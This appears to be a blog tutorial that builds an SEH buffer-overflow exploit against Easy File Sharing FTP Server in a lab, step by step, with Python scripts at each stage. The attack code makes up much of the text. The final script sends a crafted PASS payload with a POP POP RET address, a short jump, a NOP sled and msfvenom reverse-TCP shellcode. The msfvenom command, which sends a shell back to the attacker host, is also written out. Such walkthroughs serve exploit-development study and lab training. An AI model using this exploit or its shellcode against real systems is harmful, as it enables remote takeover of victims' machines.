EasyFileSharing FTP SEH Buffer Overflow
Contents
This is another FTP Remote Buffer Overflow that is not as simple as the FreeFTP BOF example from the last post. The major difference is that we will use the Structured Exception Handler (SEH) to direct program flow since we cannot overflow the EIP register and write shellcode thereafter. Before we dig in, here are the binaries and my setup:
Very Detailed Writeup on SEH Buffer Overflows
Exploitable Binary: https://www.exploit-db.com/apps/0efddb6d04f4125d7c1f104c6b1c60a0-efsfs.exe
ExploitDB POC: https://www.exploit-db.com/exploits/33538/
Victim Machine:
- Windows XP Professional SP3 Build 2600
- Immunity Debugger
- Mona Script
Attacker Machine:
- Kali 2018.1 (PWK Image) 32 bit
[hr]
Exceptions:
Let’s take a second and talk about exceptions and exception handling. Most of us have written some code in a professional or personal capacity and as such, have encountered a number of methods to handle software exceptions. Exceptions being unforeseen circumstance or circumstances in which the code isn’t designed to handle properly. Windows has Structured Exception Handling chains which, long story short, attempts to find the most appropriate response to an exception in order to shut down or kill the process cleanly by going through the SEH chain to find a suitable handler. The Writeup I provided above does a phenomenal job at describing SEH and how to exploit it in a general sense.
[hr]
Fuzzing:
Reviewing the NIST NVD CVE-2006-3952 we can see it’s the PASS parameter that is susceptible to the overflow so, that’s where we will start our exploit. But, before writing any code, I need to mention one last thing. The Easy File Sharing FTP PASS parameter does not overflow when given a large amount of data. It overflows when a special character is present at the front of the overflow data. In this case a “,” or 0x2c. In attempting to understand why we need a 0x2c, I started talking to the original exploit writer. Here is the Twitter Conversation. Long story Short, he found it during fuzzing the application with Peach. Peach is definitely something I need to learn how to use. Anyhow, let’s look at the exploit code so far.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 |
#------------------------------------------------------------# # Easy File Sharing FTP SEH BOF Example: # # By: @JFaust0 # #------------------------------------------------------------# import socket IP = '192.168.21.129' PORT = 21 # Create an TCP Connection to FTP Server s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((IP,PORT)) print(s.recv(1024)) # Start to Fuzz the PASS Param print("[+] Fuzzing PASS Parameter") s.send("USER anonymous\r\n") print(s.recv(1024)) buf = "" buf += "\x2c" buf += "A"*2800 s.send("PASS " + buf + "\r\n") print(s.recv(1024)) s.close() |
Our payload (buf) starts with a 0x2c to trigger the exception and therefore setting the SEH chain in action in attempts to recover or exit the process cleanly. However, we also supplied 2800 A’s (ox41) which, overflows the SEH handler and address. Let’s take a closer look at the crash itself.
[hr]
Reviewing the Crash:
When we run the python script, the program hangs (as expected). But let’s take a look at the before and after of both the register values and the SEH chain addresses.
NOTE: To view the SEH Chain in Immunity (view–> SEH Chain or alt+s)
BEFORE
SEH Addresses Before Overflow
Register Values Before Overflow
[hr_invisible]
AFTER
SEH Addresses After Overfloww
Register Values After Overflow
Sweet! We overwrote the SE Handler. This means that we can write our own address in the SE handler for address 0x0106ADD0 and possibly control execution flow. Another point to mention is the value of EAX. It looks like we overwrote EAX as well with our A’s.
[hr]
Controlling the SEH Address:
We need to find the offset of the SEH address that we overwrote. We are going to use the same exact method as we would in finding the offset of EIP by using a random pattern. However, instead of using the create_pattern.rb that’s native in Kali, let’s use the Mona script to do it for us.
- !mona pc 3000
- Generates 3000 bytes of data that we will plug into our script.
The new script now looks like this:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 |
#------------------------------------------------------------# # Easy File Sharing FTP SEH BOF Example: # # By: @JFaust0 # #------------------------------------------------------------# import socket IP = '192.168.21.129' PORT = 21 # Create an TCP Connection to FTP Server s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((IP,PORT)) print(s.recv(1024)) # Start to Fuzz the PASS Param print("[+] Fuzzing PASS Parameter") s.send("USER anonymous\r\n") print(s.recv(1024)) pattern = ("Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9") buf = "" buf += "\x2c" buf += pattern s.send("PASS " + buf + "\r\n") print(s.recv(1024)) s.close() |
Execute the script and then, use Mona once again to check for the offsets.
- !mona findmsp
- This will find the cyclic pattern that we introduced in our overflow and calculate the offsets as shown below.
Find the Pattern Offsets
Here is what we found:
- SEH offset: 2559
- EAX Register offset: 2603
Fantastic! Let’s set those offsets as variables in our python script, overwrite the SEH address with B’s and see how many C’s we can write thereafter.
[hr]
Checking for Bad Characters:
We next need to check for bad characters. The code below will do two things:
- Generate a character array of bad characters excluding characters that are known to be bad (i.e., 0x00, 0x0a)
- Send the character array in the buffer overflow as well as save to a binary file on disk that can be transferred and use by Mona.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 |
#------------------------------------------------------------# # Easy File Sharing FTP SEH BOF Example: # # By: @JFaust0 # #------------------------------------------------------------# import socket IP = '192.168.21.129' PORT = 21 SEH_OFFSET = 2559 EAX_OFFSET = 2603 # Create an TCP Connection to FTP Server s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((IP,PORT)) print(s.recv(1024)) # BAD CHARACHERS chars = "" bad_chars = [0x00, 0x0A] for i in range(0x00,0xff+1): if i not in bad_chars: chars += chr(i) with open("bad_chars.bin", "wb") as f: f.write(chars) # Start to Fuzz the PASS Param print("[+] Fuzzing PASS Parameter") s.send("USER anonymous\r\n") print(s.recv(1024)) buf = "" buf += "\x2c" buf += "A"*2100 buf += chars buf += "B" * 700 s.send("PASS " + buf + "\r\n") print(s.recv(1024)) s.close() |
Once we send the new code to the FTP server, the server will throw an exception as usual and Immunity will pause the program and we can then investigate which characters, if any, are bad. So, we send the code and find the place in memory where our characters are located:
Characters in Memory
Upon initial investigation, it looks like all the characters we sent are there meaning the only two characters we should omit are the ox00 and ox0a. However, just to be safe, let’s use mona to check and verify our findings. We see that our chracters start at 0x0106AC04. We can point mona to this location in memory and issue the compare command where the bad_char.bin is an input.
Mona Bad Characters
Mona points out 0x01 is a possible bad character, however, we know from the image above that 0x01 is fine since the output (03020141) at memory location 0x0106AC04 displays it just fine. So, that means the only two characters that we will consider bad are 0x00 and 0x0a.
[hr]
Controlling Code Execution:
We’ve been able to overflow the PASS buffer, found the offset of the SEH handler (Of which we need to add 4 bytes to fill the address space), and are now ready to test if we can, in fact, write B’s into the SE Handler position.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 |
#------------------------------------------------------------# # Easy File Sharing FTP SEH BOF Example: # # By: @JFaust0 # #------------------------------------------------------------# import socket IP = '192.168.21.129' PORT = 21 SEH_OFFSET = 2559 EAX_OFFSET = 2603 # Create an TCP Connection to FTP Server s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((IP,PORT)) print(s.recv(1024)) # Start to Fuzz the PASS Param print("[+] Fuzzing PASS Parameter") s.send("USER anonymous\r\n") print(s.recv(1024)) buf = "" buf += "\x2c" buf += "A" * (SEH_OFFSET + 4) # Overwrite Address buf += "B" * 4 # Overwrite SE handler buf += "C" * 700 # Padd with C's s.send("PASS " + buf + "\r\n") print(s.recv(1024)) s.close() |
After running the above script and looked at the SEH values again, we see that the SE handler has been overwritten with our four (4) B’s
Overwritten SEH
That’s Great but, let’s see what happens by hitting shft+F8 to move to the next instruction. We move a total of 5 instructions and EIP then changes to the SEH handlers address of B’s. This just further proves that we will be able to obtain code execution.
[hr]
POP POP RET:
In a simple stack buffer overflow, we would want to find an address with the instructions JMP ESP and use such an address to overwrite the EIP register to directory jump to our shellcode. With SEH, it’s a bit different. We are looking for a sequence of instructions POP POP RET. We also have to find a memory address with these instructions that have no bad characters and does not have ASLR or DEP protections. Lucky for us, the SSLEAY32.dll is perfect. We figured this out by using mona once again to review all loaded modules as seen below.
Mona Modules
Mona also makes it very simple to check for the pop pop ret. We tell mona to check for SEH pointers within the module SSLEAY32.dll: !mona seh -m ssleay32.dll
SEH Pointers with Mona
Looking at the results we grab an address that does not have bad characters and continue on. In this case, I will use 0x10017f21 to overwrite the SEH handler. Let’s modify our code to replace our B’s with the new POP POP RET address and review where it puts us in regards to our C’s (aka: future shellcode).
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 |
#------------------------------------------------------------# # Easy File Sharing FTP SEH BOF Example: # # By: @JFaust0 # #------------------------------------------------------------# import socket IP = '192.168.21.129' PORT = 21 SEH_OFFSET = 2559 EAX_OFFSET = 2603 POP_ADDR = "\x21\x7f\x01\x10" # 0x10017f21 # Create an TCP Connection to FTP Server s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((IP,PORT)) print(s.recv(1024)) # Start to Fuzz the PASS Param print("[+] Fuzzing PASS Parameter") s.send("USER anonymous\r\n") print(s.recv(1024)) buf = "" buf += "\x2c" buf += "A"* (SEH_OFFSET +4) buf += POP_ADDR buf += "C" * 500 s.send("PASS " + buf + "\r\n") print(s.recv(1024)) s.close() |
We run the code, and check the SEH handler address and would you look at that, it points to SSLEAY32.
SSLEAY32.dll SEH Handler Overwrite
By following the instructions (i.e., hitting SHFT+F8 and 4 subsequent F8’s) We can see where we will land in memory after the POP POP RET. It looks like it put us a few bytes above the start of our C’s. AWESOME! That’s where we are going to place our shellcode anyhow. First, take a look at the instruction we landed at AND DWORD PTR DS:[EDI+1], EDI.
POP POP RET Landing
This needs to be taken into account as we are not going to jump directly to our shellcode since there are some junk instructions before where our shellcode will be placed. We can mitigate this by adding in a jmp command by decrementing 4 bytes from our A’s and adding in the x86 jmp instruction (in hex). We’re going to jump 10 bytes forward, into a nop sled that leads to our shellcode. First, let’s get the bytecode of our jmp 10. Looking at the X86 instruction set we can see that a short jump is hex EB and we want to jump 10 bytes so our new instruction is \xEB\x10\x90\x90. The two nop bytes at the end are used as we need a total of four bytes to fill the memory location.
[hr]
Catch a Shell:
Let’s generate some shellcode, add the jmp 10 instruction and the shellcode to our buf variable, at a 20-byte nop sled, and set up a netcat listener.
- msfvenom -a x86 -p windows/shell_reverse_tcp LHOST=192.168.21.130 LPORT=443 -b ‘\x00\x0a’ -f c
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 |
#------------------------------------------------------------# # Easy File Sharing FTP SEH BOF Example: # # By: @JFaust0 # #------------------------------------------------------------# import socket IP = '192.168.21.129' PORT = 21 SEH_OFFSET = 2559 EAX_OFFSET = 2603 POP_ADDR = "\x21\x7f\x01\x10" # 0x10017f21 JMP10 = "\xeb\x10\x90\x90" shellcode = ("\xd9\xc8\xd9\x74\x24\xf4\xb8\x64\xa2\xd6\xb0\x5b\x33\xc9\xb1" "\x52\x31\x43\x17\x03\x43\x17\x83\xa7\xa6\x34\x45\xdb\x4f\x3a" "\xa6\x23\x90\x5b\x2e\xc6\xa1\x5b\x54\x83\x92\x6b\x1e\xc1\x1e" "\x07\x72\xf1\x95\x65\x5b\xf6\x1e\xc3\xbd\x39\x9e\x78\xfd\x58" "\x1c\x83\xd2\xba\x1d\x4c\x27\xbb\x5a\xb1\xca\xe9\x33\xbd\x79" "\x1d\x37\x8b\x41\x96\x0b\x1d\xc2\x4b\xdb\x1c\xe3\xda\x57\x47" "\x23\xdd\xb4\xf3\x6a\xc5\xd9\x3e\x24\x7e\x29\xb4\xb7\x56\x63" "\x35\x1b\x97\x4b\xc4\x65\xd0\x6c\x37\x10\x28\x8f\xca\x23\xef" "\xed\x10\xa1\xeb\x56\xd2\x11\xd7\x67\x37\xc7\x9c\x64\xfc\x83" "\xfa\x68\x03\x47\x71\x94\x88\x66\x55\x1c\xca\x4c\x71\x44\x88" "\xed\x20\x20\x7f\x11\x32\x8b\x20\xb7\x39\x26\x34\xca\x60\x2f" "\xf9\xe7\x9a\xaf\x95\x70\xe9\x9d\x3a\x2b\x65\xae\xb3\xf5\x72" "\xd1\xe9\x42\xec\x2c\x12\xb3\x25\xeb\x46\xe3\x5d\xda\xe6\x68" "\x9d\xe3\x32\x3e\xcd\x4b\xed\xff\xbd\x2b\x5d\x68\xd7\xa3\x82" "\x88\xd8\x69\xab\x23\x23\xfa\x14\x1b\x3e\x78\xfc\x5e\x40\x7d" "\x46\xd7\xa6\x17\xa8\xbe\x71\x80\x51\x9b\x09\x31\x9d\x31\x74" "\x71\x15\xb6\x89\x3c\xde\xb3\x99\xa9\x2e\x8e\xc3\x7c\x30\x24" "\x6b\xe2\xa3\xa3\x6b\x6d\xd8\x7b\x3c\x3a\x2e\x72\xa8\xd6\x09" "\x2c\xce\x2a\xcf\x17\x4a\xf1\x2c\x99\x53\x74\x08\xbd\x43\x40" "\x91\xf9\x37\x1c\xc4\x57\xe1\xda\xbe\x19\x5b\xb5\x6d\xf0\x0b" "\x40\x5e\xc3\x4d\x4d\x8b\xb5\xb1\xfc\x62\x80\xce\x31\xe3\x04" "\xb7\x2f\x93\xeb\x62\xf4\xa3\xa1\x2e\x5d\x2c\x6c\xbb\xdf\x31" "\x8f\x16\x23\x4c\x0c\x92\xdc\xab\x0c\xd7\xd9\xf0\x8a\x04\x90" "\x69\x7f\x2a\x07\x89\xaa") # Create an TCP Connection to FTP Server s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((IP,PORT)) print(s.recv(1024)) # Start to Fuzz the PASS Param print("[+] Fuzzing PASS Parameter") s.send("USER anonymous\r\n") print(s.recv(1024)) buf = "" buf += "\x2c" buf += "A"* (SEH_OFFSET) buf += JMP10 buf += POP_ADDR buf += "\x90" * 20 buf += shellcode s.send("PASS " + buf + "\r\n") print(s.recv(1024)) s.close() |
And…. We’re In!. That’s all she wrote.
Catching the Shell